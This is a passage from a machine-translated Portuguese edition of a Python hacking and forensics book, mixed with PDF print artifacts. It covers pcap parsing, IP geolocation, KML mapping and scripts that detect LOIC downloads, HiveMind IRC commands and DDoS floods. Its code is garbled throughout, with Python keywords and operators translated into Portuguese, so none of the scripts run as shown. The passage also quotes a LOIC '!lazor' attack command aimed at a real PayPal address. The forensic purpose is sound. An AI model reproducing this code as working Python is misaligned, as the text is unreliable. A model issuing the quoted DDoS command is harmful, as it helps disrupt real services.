pacote para baixo por Ethernet e em camadas IP. Observe o uso preguiçoso do nosso excepção
ção manipulação aqui: porque podemos capturar quadros da camada 2 que não contêm
a camada IP, é possível lançar uma exceção. Neste caso, usamos exceção
manipulação para capturar a exceção e continue para o próximo pacote. Nós usamos o
biblioteca de sockets para resolver endereços IP armazenados em notação inet para uma cadeia simples.
Finalmente, imprimir a origem eo destino para a tela para cada indivíduo
pacote.
dpkt importação
tomada de importação
def printPcap (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)

Onde é que o tráfego IP Headed? ­A Python Resposta 129

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 88/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

print '[+] Src:' + src + '­> Dst:' + dst
exceto:
passar
def main ():
f = open ( 'geotest.pcap')
pcap = dpkt.pcap.Reader (f)
printPcap (pcap)
se __name__ == '__main__':
a Principal()

A execução do script, vemos o endereço IP de origem e IP de destino impressa
a tela. Enquanto isso nos fornece algum nível de análise, vamos agora correlacionar essa
para locais físicos usando nosso script de geo­localização anterior.
analista printDirection.py # python
[+] Src: 110.8.88.36 ­> Dst: 188.39.7.79
[+] Src: 28.38.166.8 ­> Dst: 21.133.59.224
[+] Src: 153.117.22.211 ­> Dst: 138.88.201.132
[+] Src: 1.103.102.104 ­> Dst: 5.246.3.148
[+] Src: 166.123.95.157 ­> Dst: 219.173.149.77
[+] Src: 8.155.194.116 ­> Dst: 215.60.119.128
[+] Src: 133.115.139.226 ­> Dst: 137.153.2.196
[+] Src: 217.30.118.1 ­> Dst: 63.77.163.212
[+] Src: 57.70.59.157 ­> Dst: 89.233.181.180

Melhorar o nosso roteiro, vamos adicionar uma função adicional chamado retGeoStr (), que
retorna um local físico para um endereço IP. Para isso, vamos simplesmente resolver o
cidade e código de país de três dígitos e imprimi­los para a tela. Se a função
levanta uma exceção, vamos retornar uma mensagem indicando o endereço é unregis­
trado. Esta lida com casos de endereços não na base de dados ou GeoLiteCity
endereços IP privados, tais como 192.168.1.3 no nosso caso.
importação dpkt, soquete, pygeoip, optparse
gi = pygeoip.GeoIP ( "/ opt / GeoIP / Geo.dat")
def retGeoStr (ip):
experimentar:
rec = gi.record_by_name (ip)
city ​
= rec [ "cidade"]

country = rec [ 'country_code3']
if (cidade = ''!):
GEOLOC = cidade + "," + país

130 CAPÍTULO 4: Análise de tráfego de rede com Python

outro:
GEOLOC = país
voltar GEOLOC
exceto:
retornar "não registrado"

Adicionando a função retGeoStr para o nosso script original, agora temos uma bonita
poderoso conjunto de ferramentas de análise de pacotes, que nos permite ver os destinos físicos
dos nossos pacotes.
dpkt importação
tomada de importação
pygeoip importação
optparse importação
gi = pygeoip.GeoIP ( '/ opt / GeoIP / Geo.dat')
def retGeoStr (ip):
experimentar:
rec = gi.record_by_name (ip)
city ​
= rec [ "cidade"]

country = rec [ 'country_code3']
se da cidade! = '':
GEOLOC = cidade + ',' + país
outro:
GEOLOC = país
voltar GEOLOC
salvo exceção, e:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 89/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
voltar 'não registrado'
def printPcap (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)
print '[+] Src:' + src + '­> Dst:' + dst
print '[+] Src:' + retGeoStr (src) + '­> Dst:' \
+ RetGeoStr (dst)
exceto:
passar

Onde é que o tráfego IP Headed? ­A Python Resposta 131

def main ():
parser = optparse.OptionParser ( 'uso% prog ­p <pcap arquivo>')
parser.add_option ( '­ p', dest = 'pcapFile', type = 'string', \
help = 'especificar pcap filename')
(Opções, args) = parser.parse_args ()
se options.pcapFile == None:
parser.usage de impressão
exit (0)
pcapFile = options.pcapFile
f = open (pcapFile)
pcap = dpkt.pcap.Reader (f)
printPcap (pcap)
se __name__ == '__main__':
a Principal()

Correndo o nosso script, vemos vários dos nossos pacotes dirigidos para a Coréia, Londres,
Japão, e até mesmo a Austrália. Isso nos fornece uma ferramenta bastante poderosa análise.
No entanto, o Google Earth pode ser uma melhor maneira de visualizar esta mesma
em formação.
analista # python geoPrint.py ­p geotest.pcap
[+] Src: 110.8.88.36 ­> Dst: 188.39.7.79
[+] Src: KOR ­> Dst: London, GBR
[+] Src: 28.38.166.8 ­> Dst: 21.133.59.224
[+] Src: Columbus, EUA ­> Dst: Columbus, EUA
[+] Src: 153.117.22.211 ­> Dst: 138.88.201.132
[+] Src: Wichita, EUA ­> Dst: Hollywood, EUA
[+] Src: 1.103.102.104 ­> Dst: 5.246.3.148
[+] Src: KOR ­> Dst: não registrado
[+] Src: 166.123.95.157 ­> Dst: 219.173.149.77
[+] Src: Washington, EUA ­> Dst: Kawabe, JPN
[+] Src: 8.155.194.116 ­> Dst: 215.60.119.128
[+] Src: EUA ­> Dst: Columbus, EUA
[+] Src: 133.115.139.226 ­> Dst: 137.153.2.196
[+] Src: JPN ­> Dst: Tóquio, JPN
[+] Src: 217.30.118.1 ­> Dst: 63.77.163.212
[+] Src: Edimburgo, GBR ­> Dst: EUA
[+] Src: 57.70.59.157 ­> Dst: 89.233.181.180
[+] Src: Endeavour Hills, AUS ­> Dst: Praga, CZE

132 CAPÍTULO 4: Análise de tráfego de rede com Python

Usando Python para construir um mapa do Google
Google Earth fornece um globo virtual, mapa, e informações geográficas,
mostrado em um visualizador de proprietário. Embora proprietária, o Google Earth pode facil­
ily integrar feeds personalizados ou faixas no globo. Criando um texto fi le com

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 90/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
a extensão KML permite que um usuário para integrar várias marcas lugar no Google
Terra. KML fi les conter uma estrutura XML fi c determinada, como mostra o seguinte
exemplo. Aqui, mostramos como para traçar dois lugares marcas específicas no mapa com
um nome e especí fi cos coordenadas. Como já tem o endereço IP, latitude
e longitude para os nossos pontos, este deve provar fácil de integrar em nossa existencia
ing script para produzir um KML fi le.
<? xml version = "1.0" encoding = "UTF­8"?>
<kml xmlns = "http://www.opengis.net/kml/2.2">
<Document>
<Placemark>
<Name> 93.170.52.30 </ name>
<Point>
<Coordenadas> 5.750000,52.500000 </ coordena>
</ Point>
</ Placemark>
<Placemark>
<Name> 208.73.210.87 </ name>
<Point>
<Coordenadas> ­122.393300,37.769700 </ coordena>
</ Point>
</ Placemark>
</ Document>
</ Kml>

Vamos construir uma função rápida, retKML (), que leva um IP como entrada e retorna o
fi cações c estrutura KML para uma marca lugar. Observe que somos primeiro resolver o IP
dirigir a uma latitude e longitude usando pygeoip; então podemos construir o nosso KML
para uma marca lugar. Se encontrarmos uma exceção, como "localização não encontrado",
que devolver uma cadeia vazia.
def retKML (ip):
rec = gi.record_by_name (ip)
experimentar:
longitude = rec [ 'longitude']
latitude = rec [ 'latitude']
kml = (

Onde é que o tráfego IP Headed? ­A Python Resposta 133

'<Placemark> \ n'
'<Name>% s </ name> \ n'
'<Point> \ n'
'<Coordena>% 6f,% 6f </ coordena> \ n'
'</ Point> \ n'
'</ Placemark> \ n'
)% (Ip, longitude, latitude)
voltar kml
salvo exceção, e:
Retorna ''

Integrando a função em nosso script original, que agora também adicionar o fi cações c
KML cabeçalho e rodapé necessário. Para cada pacote, nós produzimos lugar marcas KML
para o IP de origem e destino IP e traçar­los em nosso globo. Isto produz
uma bela visualização de tráfego de rede fi c. Pense em todas as formas de expandir
este que poderia ser útil para especi fi finalidade c de uma organização. Você pode
deseja usar ícones diferentes para os tipos de tráfego fi c, especificada pela fonte e
portos de destino TCP (por exemplo 80 ou 25 web mail). Dê uma olhada na
Documentação Google KML disponíveis a partir https://developers.google.com/
kml / documentation /e pensar sobre todas as maneiras de expandir o nosso roteiro para
fins de visualização de Sua_Organização.

dpkt importação
tomada de importação
pygeoip importação
optparse importação
gi = pygeoip.GeoIP ( '/ opt / GeoIP / Geo.dat')
def retKML (ip):
rec = gi.record_by_name (ip)
experimentar:
longitude = rec [ 'longitude']
latitude = rec [ 'latitude']
kml = (

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 91/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
'<Placemark> \ n'
'<Name>% s </ name> \ n'
'<Point> \ n'
'<Coordena>% 6f,% 6f </ coordena> \ n'
'</ Point> \ n'
'</ Placemark> \ n'
)% (Ip, longitude, latitude)

134 CAPÍTULO 4: Análise de tráfego de rede com Python

voltar kml
exceto:
Retorna ''
plotIPs def (pcap):
kmlPts = ''
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
srcKML = retKML (src)
dst = socket.inet_ntoa (ip.dst)
dstKML = retKML (dst)
kmlPts = kmlPts + srcKML + dstKML
exceto:
passar
voltar kmlPts
def main ():
parser = optparse.OptionParser ( 'uso% prog ­p <pcap arquivo>')
parser.add_option ( '­ p', dest = 'pcapFile', type = 'string', \
help = 'especificar pcap filename')
(Opções, args) = parser.parse_args ()
se options.pcapFile == None:
parser.usage de impressão
exit (0)
pcapFile = options.pcapFile
f = open (pcapFile)
pcap = dpkt.pcap.Reader (f)
kmlheader = '<? xml version = "1.0" encoding = "UTF­8"?> \
\ N <kml xmlns = "http://www.opengis.net/kml/2.2">\n<Document>\n '
kmlfooter = '</ Document> \ n </ kml> \ n'
kmldoc = kmlheader + plotIPs (pcap) + kmlfooter
kmldoc de impressão
se __name__ == '__main__':
a Principal()

Correndo o nosso script, nós redirecionar a saída para um texto fi le com uma extensão .kml.
A abertura deste fi le com o Google Earth, vemos uma representação visual nosso pacote
destinos. Na próxima seção, vamos usar nossas habilidades de análise para detectar uma
ameaça mundial representada pelo grupo de hackers Anonymous.

135
É Anonymous realmente anônimo? Analisando LOIC Tráfego

É ANÓNIMA realmente anônimo?
ANALISANDO LOIC TRAFFIC
Em dezembro de 2010, a polícia holandesa prendeu um adolescente por participar de distri­
ataques buiu de negação de serviço contra a Visa, MasterCard e PayPal como parte de um
operação para direcionar as empresas que se opõem à WikiLeaks. Menos de um mês depois,
o FBI emitiu quarenta mandados de busca e a polícia britânica fez cinco prisões também.
Vagamente ligado ao grupo de hackers Anonymous, estes criminosos alegado
baixado e usado o Orbit Ion Baixa Cannon (LOIC) distribuídos denial­
of­service toolkit.
LOIC fl inundações um alvo com grandes volumes de UDP e TCP tráfego fi c. Uma única
instância do LOIC vai fazer muito pouco para esgotar os recursos de um alvo; Contudo,
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 92/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
quando centenas de milhares de pessoas usam LOIC simultaneamente,
esgotar rapidamente os recursos do alvo e capacidade de prestação de serviços.
LOIC oferece dois modos de operação. No modo de primeira, um usuário pode inserir um alvo
endereço. No segundo modo, HiveMind apelidado, o usuário se conecta LOIC para
um servidor de IRC onde os usuários podem indicar alvos que os usuários conectados à IRC
atacarão automaticamente.

Usando Dpkt encontrar o LOIC Baixar
Durante a Operação Payback, membros do Anonymous postou um documento con­
tenção respostas às perguntas mais frequentes sobre o seu kit de ferramentas, LOIC. o
Perguntas Frequentes (FAQ) afirma: " Será que eu ficar travado / preso por usar isso?
As chances são próximas a zero. Apenas culpa você tem um vírus, ou simplesmente negar qualquer conhecimento
dele. " Na presente seção, vamos desmascarar que resposta por adquirir um bom conhecimento da
análise de pacotes e escrever um kit de ferramentas para de fi nitivamente provar que um membro do down­
carregado e utilizado o kit de ferramentas.
Várias fontes na Internet oferecer o kit de ferramentas LOIC para download; alguns
são mais credível do que outros. Como SourceForge hospeda uma cópia em http: // source­
forge.net/projects/loic/,vamos baixar uma cópia de lá. Antes Download­
ing, abrir uma sessão tcpdump, fi ltro na porta 80, e imprimir os resultados em
formato ASCII. Você deverá ver que o download a ferramenta emite um HTTP GET
pedir para a versão mais recente da ferramenta de / projecto / Loic / Loic / loic­
1.0.7 / LOIC_1.0.7.42binary.zip.
analista # tcpdump ­i eth0 ­A "porta 80"
17: 36: 06,442645 IP attack.61752> downloads.sourceforge.net.http:
Flags [P.], SEQ 1: 828, ack 1, ganhar 65535, Opções [nop, nop, TS val
488571053 ecr 3676471943], comprimento 827E..o .. @ @ ........ ";... 8.P.KC.T
.c ................. "
..GET /project/loic/loic/loic­1.0.7/LOIC 1.0.7.42binary.zip
? r = http% 3A% 2F% 2Fsourceforge.net% 2Fprojects% 2Floic% 2F & st = 1330821290
HTTP / 1.1

136 CAPÍTULO 4: Análise de tráfego de rede com Python

Anfitrião: downloads.sourceforge.net
User­Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit / 534.53.11 (KHTML, como Gecko) Versão / 5.1.3
Safari / 534.53.10

Para a primeira parte do nosso LOIC descoberta toolkit, vamos escrever um script Python para
parse HTTP tráfego fi c e examiná­lo para HTTP GETs para o binário LOIC zipado.
Para fazer isso, mais uma vez vai usar a biblioteca dpkt do Dug Song. Para examinar o HTTP
tráfego fi c, devemos extrair o Ethernet, IP, e as camadas TCP. Finalmente, o HTTP pro­
tocol cavalga sobre o topo da camada de protocolo TCP. Se a camada de HTTP GET utiliza
método, analisar a especi fi c Uniform Resource identi fi er (URI) que o
HTTP GET solicitado. Se esse URI contém arquivos .zip e LOIC no nome, nós imprimimos
uma mensagem para a tela com o IP que baixado LOIC. Isso pode ajudar a
administrador inteligente provar que um usuário baixou LOIC ao contrário de ser
infectadas por um vírus. Combinado com uma análise forense de download (como mostrado
no Capítulo 3), podemos de fi nitivamente provar que um usuário baixou LOIC.
dpkt importação
tomada de importação
def findDownload (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
tcp = ip.data
http = dpkt.http.Request (tcp.data)
se http.method == 'GET':
uri = http.uri.lower ()
se '.zip' em uri e 'Loic' em uri:
print '[!]' + src + 'Transferido LOIC.'
exceto:
passar
f = open ()
pcap = dpkt.pcap.Reader (f)
findDownload (pcap)

A execução do script, vemos que um par de usuários, de facto baixado
LOIC.
analista findDownload.py # python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 93/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[!] 192.168.1.3 Downloaded LOIC.

137
É Anonymous realmente anônimo? Analisando LOIC Tráfego

[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.

Analisando IRC comandos para o Hive
Basta fazer o download LOIC não é necessariamente ilegal (ou o autor deste livro
pode ser em algum problema); no entanto, a conexão com o HIVE Anonymous e
lançar um ataque de negação de serviço distribuído com intenção de perturbar a ser­
vice­viola vários estaduais, federais e as leis nacionais. porque Anonymous
é um coletivo solto de indivíduos da mesma forma que pensam em vez de uma hierarquicamente
camente grupo da frente dos hackers, qualquer um pode sugerir um alvo para o ataque. Para iniciar um
ataque, um membro do Anonymous registra em um fi cações c Internet Relay Chat (IRC)
servidor, e emite um comando de ataque, tais como! lazor targetip = 66.211.169.66
mensagem = porta test_test = 80 método = tcp espera = false aleatória = verdadeiro início . Qualquer mem­
ber de Anonymous conectado ao IRC com LOIC ligado em HiveMind
modo pode começar imediatamente a um ataque contra o alvo. Neste caso, o PI
endereço 66.211.169.66 refere­se ao endereço do paypal.com, alvejado durante
Operação Payback.
Examinando a especi fi c mensagem ataque tráfego fi c no tcpdump, vemos que a fi cações c
user­anonops­emitido um comando para iniciar um ataque ao servidor de IRC. Próximo,
o servidor de IRC emite um comando para os clientes LOIC ligado para iniciar a
ataque. Enquanto isso prova facilmente olhando para esses dois pacotes específicos, imagine
tentando achar isso em uma longa PCAP fi le contendo horas ou dias de rede
tráfego fi c.
analista # sudo tcpdump ­i eth0 ­A 'port 6667'
08: 39: 47,968991 IP anonOps.59092> ircServer.ircd: Flags [P.], seq
3112239490: 3112239600, ack 110.628, ganhar 65535, opções [nop, nop, TS
Val 437994780 ECR 246181], comprimento 110
E ... 5 <@. @ .. 9 .._..._............ $ .... 3 ......
..E ..... TÓPICO #LOIC: lazor targetip = 66.211.169.66 mensagem = test_test
port = 80 método = espera tcp = false aleatória = verdadeiro início
08: 39: 47,970719 IP ircServer.ircd> Loic­client.59092: Flags [P.],
seq 1: 139, ack 110, ganhar 453, options [nop, nop, TS val 260.262 ecr
437994780], comprimento 138
E .... & @. @. R3 .._..._........ $ ......... k .....
...... E.:kevin!kevin@anonOps TÓPICO #loic: lazor targetip = 66.211.169.66
mensagem = porta test_test = 80 método = espera tcp = false aleatória = verdadeiro início

Na maioria dos casos, o servidor de IRC usa a porta TCP 6667. As mensagens vão para o IRC
servidor terá a porta TCP destino 6667. As mensagens recebidas a partir do IRC
servidor terá uma porta de origem TCP 6667. Vamos usar este conhecimento quando escrevemos

138 CAPÍTULO 4: Análise de tráfego de rede com Python

nossa função HiveMind análise, fi ndHivemind (). Desta vez, vamos extrair
as camadas de Ethernet, IP, e TCP. Depois de extrair a camada TCP, que examiná­lo
para as portas de origem fi c e de destino especificações. Se vemos o comando ! Lazor com
uma porta de destino 6667, identificamos um membro de emitir um comando de ataque. E se
vemos o comando ! lazor com uma porta de origem 6667, podemos identificar o servidor
emissão de um ataque aos membros da colmeia.
dpkt importação
tomada de importação
def findHivemind (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 94/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
se dport == 6667:
Se '! lazor' em tcp.data.lower ():
print 'DDoS HiveMind emitido por [!]:' + src
print '[+] alvo CMD:' + tcp.data
Se == desporto 6667:
Se '! lazor' em tcp.data.lower ():
print '[!] DDoS HiveMind emitido para:' + src
print '[+] alvo CMD:' + tcp.data
exceto:
passar

Identificando o ataque DDoS em andamento
Com funções para localizar um usuário download LOIC e achar o com­ colmeia
mandos, uma última missão continua: identificar o ataque em andamento. Quando um
usuário inicia um ataque LOIC, que fi res uma enorme quantidade de pacotes TCP em direcção
um alvo. Estes pacotes, combinado com os pacotes coletivos da colmeia,
essencialmente esgota os recursos do alvo. Começamos uma sessão tcpdump
e ver vários pequenos (comprimento 12) pacotes TCP enviados a cada 0,00005 segundos.
Esse comportamento se repete até que o ataque termina. Observe que o alvo tem
dificuldade de responder e só reconhece cerca de um em cada cinco
pacotes.

139
É Anonymous realmente anônimo? Analisando LOIC Tráfego

analista # tcpdump ­i eth0 "porta 80"
06: 39: 26,090870 IP loic­attacker.1182> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
64240, comprimento 12
06: 39: 26,090976 IP loic­attacker.1186> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
64240, comprimento 12
06: 39: 26,090981 IP loic­attacker.1185> Loic­target.www: Flags [P.], seq
301: 313, ack 1, ganhar
64240, comprimento 12
06: 39: 26,091036 IP loic­target.www> Loic­attacker.1185: [.] Flags, ack
313, ganhar 14600, lengt
h 0

06: 39: 26,091134 IP loic­attacker.1189> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
64240, comprimento 12
06: 39: 26,091140 IP loic­attacker.1181> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
64240, comprimento 12
06: 39: 26,091142 IP loic­attacker.1180> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
64240, comprimento 12
06: 39: 26,091225 IP loic­attacker.1184> Loic­target.www: Flags [P.], seq
336: 348, ack 1, ganhar
<.. REPETE 1000x vezes ..>

Vamos rapidamente escrever uma função que encontra um ataque DDoS em andamento. Detectar
um ataque, vamos definir um limite de pacotes de pacotes. Se o número de
pacotes a partir de um usuário para um endereço específico exceder este limite, indica
algo que pode querer investigar mais como um ataque. Indiscutivelmente,
isso não provar definitivamente que um usuário iniciou um ataque; Contudo,
correlacionando­a um usuário fazer o download LOIC, seguida de aceitação de um
comando HIVE, seguido pelo ataque real, prevê esmagadora
evidência para provar um usuário participou de um DDoS Anonymous patrocinadas
ataque.
dpkt importação
tomada de importação
THRESH = 10.000
def findAttack (pcap):
pktCount = {}
para (ts, buf) em pcap:

140 Análise de tráfego de rede com Python
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 95/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

CAPÍTULO 4:

experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)
tcp = ip.data
dport = tcp.dport
se dport == 80:
stream = src + ':' + dst
se pktCount.has_key (stream):
pktCount [córrego] = pktCount [córrego] + 1
outro:
pktCount [córrego] = 1
exceto:
passar
para operação em pktCount:
pktsSent = pktCount [córrego]
se pktsSent> THRESH:
src = stream.split ( ':') [0]
dst = stream.split ( ':') [1]
print '[+]' + src + 'atacou' + dst + 'com' \
+ Str (pktsSent) + 'pkts.'

Colocar o nosso código de volta juntos e adicionando um pouco de análise opção, nosso script
agora detecta o download, ouve os comandos colmeia, e detecta a
ataque.

dpkt importação
optparse importação
tomada de importação
THRESH = 1000
def findDownload (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
tcp = ip.data
http = dpkt.http.Request (tcp.data)
se http.method == 'GET':

141
É Anonymous realmente anônimo? Analisando LOIC Tráfego

uri = http.uri.lower ()
se '.zip' em uri e 'Loic' em uri:
print '[!]' + src + 'Transferido LOIC.'
exceto:
passar
def findHivemind (pcap):
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
se dport == 6667:
Se '! lazor' em tcp.data.lower ():
print 'DDoS HiveMind emitido por [!]:' + src
print '[+] alvo CMD:' + tcp.data
Se == desporto 6667:
Se '! lazor' em tcp.data.lower ():
print '[!] DDoS HiveMind emitido para:' + src
print '[+] alvo CMD:' + tcp.data
exceto:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 96/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
passar
def findAttack (pcap):
pktCount = {}
para (ts, buf) em pcap:
experimentar:
eth = dpkt.ethernet.Ethernet (buf)
IP = eth.data
src = socket.inet_ntoa (ip.src)
dst = socket.inet_ntoa (ip.dst)
tcp = ip.data
dport = tcp.dport
se dport == 80:
stream = src + ':' + dst
se pktCount.has_key (stream):
pktCount [córrego] = pktCount [córrego] + 1

142 CAPÍTULO 4: Análise de tráfego de rede com Python

outro:
pktCount [córrego] = 1
exceto:
passar
para operação em pktCount:
pktsSent = pktCount [córrego]
se pktsSent> THRESH:
src = stream.split ( ':') [0]
dst = stream.split ( ':') [1]
print '[+]' + src + 'atacou' + dst + 'com' \
+ Str (pktsSent) + 'pkts.'
def main ():
parser = optparse.OptionParser ( "uso% prog '+ \
'­p <Pcap arquivo> ­t <limiar> "
)
parser.add_option ( '­ p', dest = 'pcapFile', type = 'string', \
help = 'especificar pcap filename')
parser.add_option ( '­ t', dest = 'limiar', type = 'int', \
help = 'especificar contagem limiar ")
(Opções, args) = parser.parse_args ()
se options.pcapFile == None:
parser.usage de impressão
exit (0)
se options.thresh! = None:
THRESH = options.thresh
pcapFile = options.pcapFile
f = open (pcapFile)
pcap = dpkt.pcap.Reader (f)
findDownload (pcap)
findHivemind (pcap)
findAttack (pcap)
se __name__ == '__main__':
a Principal()

Executando o código, vemos os resultados. Quatro usuários o download do kit de ferramentas. Próximo,
um usuário diferente emitiu o comando de ataque a dois outros atacantes conectados.
Finalmente, estes dois atacantes realmente participaram no ataque. Assim, o script
agora identifica um DDoS inteiras em ação. Enquanto um IDS pode detectar activi­ semelhante
dade, escrevendo um script personalizado como este faz um trabalho muito melhor de dizer a

Como HD Moore Resolvido o Dilema do Pentágono 143

história do ataque. Na seção seguinte, vamos olhar para um script personalizado que
a dezessete anos de idade, escreveu a defender o Pentágono.
analista # python findDDoS.py ­p traffic.pcap

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 97/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
DDoS HiveMind emitido por [!]: 192.168.1.2
[+] Alvo CMD: TÓPICO #LOIC: lazor targetip = 192.168.95.141
espera message = porta test_test = 80 method = tcp = false aleatória = true início
[!] DDoS HiveMind emitido para: 192.168.1.3
[+] Alvo CMD: TÓPICO #LOIC: lazor targetip = 192.168.95.141
espera message = porta test_test = 80 method = tcp = false aleatória = true início
[!] DDoS HiveMind emitido para: 192.168.1.5
[+] Alvo CMD: TÓPICO #LOIC: lazor targetip = 192.168.95.141
espera message = porta test_test = 80 method = tcp = false aleatória = true início
[+] 192.168.1.3 atacou 192.168.95.141 com 1000337 pkts.
[+] 192.168.1.5 atacou 192.168.95.141 com 4133000 pkts.

COMO HD Moore resolveu o Pentágono
DILEMA
No final de 1999, o Pentágono US enfrentou uma crise séria contra seu computador rede
funciona. A sede do Departamento de Defesa, o Pentágono US,
anunciou que estava sob uma série coordenada de ataques sofisticados (CIO
Instituto boletim sobre a segurança do computador, 1999). A recém­ lançado ferramenta, Nmap,
tornou bastante fácil para qualquer um para fazer a varredura de redes de serviços e vulnerabilidades.
O Pentágono temia que alguns atacantes estavam usando Nmap para identificar e mapear
vulnerabilidades em rede de computador maciça do Pentágono.
Uma varredura Nmap prova bastante fácil de detectar, correlacionam­se com o endereço do atacante
e, em seguida, localizar geograficamente esse endereço IP. No entanto, os atacantes utilizado um avançado
opção no Nmap. Em vez de apenas enviar digitalizações de seu especi fi c atacante
endereços, eles incluíram exames de engodo que pareciam provir de muitos
lugares ao redor do mundo (CIO, 1999). Os especialistas do Pentágono teve dificuldade dis­
tinguishing entre as varreduras reais e as varreduras de engodo.
Embora os especialistas se debruçaram sobre resmas maciças de registros de dados com métodos teóricos
para análise, a dezessete anos de idade, de Austin, TX finalmente apresentou um trabalho
solução. HD Moore, criador do lendário Metasploit quadro ataque,
reuniu­se com Stephen Northcutt do projeto MARINHA Shadow. o adolescente

144 CAPÍTULO 4: Análise de tráfego de rede com Python

sugeriu utilizar os campos TTL fi para todos os pacotes de entrada de Nmap scans
(Verton, 2002). O time­to­live (TTL) campo de um pacote IP determina como
muitos saltos que um pacote pode tomar antes de chegar a seu destino. Cada vez que um
pacote atravessa um dispositivo de roteamento, o roteador diminui o campo TTL fi. Moore
percebeu isso seria um excelente método para determinar a origem do
scans. Para cada endereço fonte utilizada nas tomografias Nmap registrados, ele enviou um único
Pacote ICMP para determinar o número de saltos entre o endereço de origem
ea máquina digitalizada. Ele então usou essa informação para distinguir a
atacante dos chamarizes. Claramente, apenas o atacante teria um precisas
TTL, enquanto os chamarizes (a não ser localizado perto) teria valores incorretos
para o TTL. A solução do adolescente funcionou! Northcutt perguntou Moore à pressão
ent o seu kit de ferramentas e pesquisa em uma conferência SANS em 1999 (Verton, 2002).
Moore apelidado de sua ferramenta NLog porque registado vários bits de informação
das verificações do Nmap.
Na seção seguinte, vamos usar Python para recriar a análise de Moore e
construção do kit de ferramentas NLog. O que você espera compreender o que
a fi adolescente de dezessete anos de idade gurado para fora mais de uma década atrás: simples, elegante
soluções funcionam para detectar atacantes.

Compreender o campo TTL
